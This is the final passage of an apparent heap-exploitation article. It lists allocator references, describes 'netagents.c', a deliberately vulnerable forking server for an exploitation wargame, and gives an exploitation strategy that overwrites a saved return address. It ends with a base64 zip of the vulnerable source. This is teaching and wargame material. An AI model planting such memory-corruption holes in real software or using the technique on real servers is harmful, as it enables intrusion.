http://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf [7] Guard Malloc (Enabling the Malloc Debugging Features) http://developer.apple.com/mac/library/documentation/Darwin/Reference/ ManPages/man3/Guard_Malloc.3.html [8] Heap Feng Shui in JavaScript - BlackHat Europe 2007 http://www.blackhat.com/presentations/bh-europe-07/Sotirov/ Presentation/bh-eu-07-sotirov-apr19.pdf [9] Rooted CON: Congreso de Seguridad Informatica (18-20 Marzo 2010) http://www.rootedcon.es/ [10] dnmalloc http://www.fort-knox.org/taxonomy/term/3 [11] OpenBSD malloc http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/malloc.c [12] Dnmaloc - A more secure memory allocator by Yves Younan, Wouter Joosen, Frank Piessens and Hans Van den Eynden http://www.orkspace.net/secdocs/Unix/Protection/Description/ Dnmaloc%20-%20A%20more%20secure%20memory%20allocator.pdf [13] A new malloc(3) for OpenBSD by Otto Moerbeek http://www.tw.openbsd.org/papers/eurobsdcon2009/otto-malloc.pdf .----------------. ---[ 9 ---[ Wargame Code ]--- .----------------. In this last section we attach the same program "agents.c" that we saw above but adapted to network environment so that it can be feasible to use in a servers exploitation wargame. At the same time the code is a bit more elaborate and robust. As usual, "netagents.c" forks a child process (fork) for each connection made to it, and as each new process has its own heap, each attacker can confront the vulnerability based on zero. The actions of one not influence to others. The code should be adapted according to the needs of the manager conducting or developing the wargame (as well as the number of allowed incoming connections or debugging information you want to give to the attacker if the game becomes very difficult). The attached archive includes a makefile which assumes that in the same directory as the source is the compiled library ptmalloc2 (libmalloc.a) to be linked with netagents.c. Each should adapt "malloc.c" to print the information it deems necessary, but the basics would be the changes that have been made throughout this article, which allows the attacker to know from where they extract the chunks of memory requested. How the attacker obtains the output of these changes? For simplicity, "netagents.c" prevents calls to send( ) by closing the standard output (stdout) and duplicating it with the recent obtained client socket (dup(CustomerID)). We use the same trick as the shellcodes expected. "netagents.c" also includes a new menu option, "Show Heap State", in order to see the state of the memory chunks that are being allocated or released during its execution, this allows you to see if the head of any free chunk has been overwritten. After some legal moves, a normal output would be this: +--------------------------------+ | Allocated Chunk (0x8093004) | -> Agents[0] +--------------------------------+ | SIZE = 0x00000019 | +--------------------------------+ +--------------------------------+ | Allocated Chunk (0x809301c) | -> Agents[1] +--------------------------------+ | SIZE = 0x00000019 | +--------------------------------+ +--------------------------------+ | Allocated Chunk (0x8093034) | -> Agents[1]->name +--------------------------------+ | SIZE = 0x00000029 | +--------------------------------+ +--------------------------------+ | Free Chunk (0x8093058) | -> Agents[1]->lastname +--------------------------------+ | PREV_SIZE = 0x00000000 | +--------------------------------+ | SIZE = 0x00000089 | +--------------------------------+ | FD = 0x08050168 | +--------------------------------+ | BK = 0x08050168 | +--------------------------------+ +--------------------------------+ | Allocated Chunk (0x80930e4) | -> Agents[1]->desc +--------------------------------+ | SIZE = 0x00000108 | +--------------------------------+ Following the example of the perl exploit presented in 2.2.2, one might design an exploit in C with a child process continually receiving responses from the server (menus and prompts), and the father answering these questions with a pause, for example one second each answer (if you know what to respond to work that program ...). The difficult task is to predict the addresses on the stack, which in the last phase of the attack, the last reserved chunk should match the frame created by "edit_lastname( )" since that it is where we overwrite the saved return address and where the program probably will break (it is obvious that ASLR enabled suppose a new complexity to overcome). What happens with failed attempts and segmentation failures? The program captures SIGSEGV and informs the attacker that something bad has happened and encourages him to connect again. The child process is the only that becomes unstable and thus a new connection leaves everything clean for a new attack. The latest aid that one could provide to the attacker is to deliver the source code, so this could be adapted to study the vulnerability in local, and then carry his attack to the network environment. Attach: begin-base64 644 thol.zip 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 TOPXtUxQSwUGAAAAAAkACQCdAgAA4w8AAAAA ==== --------[ EOF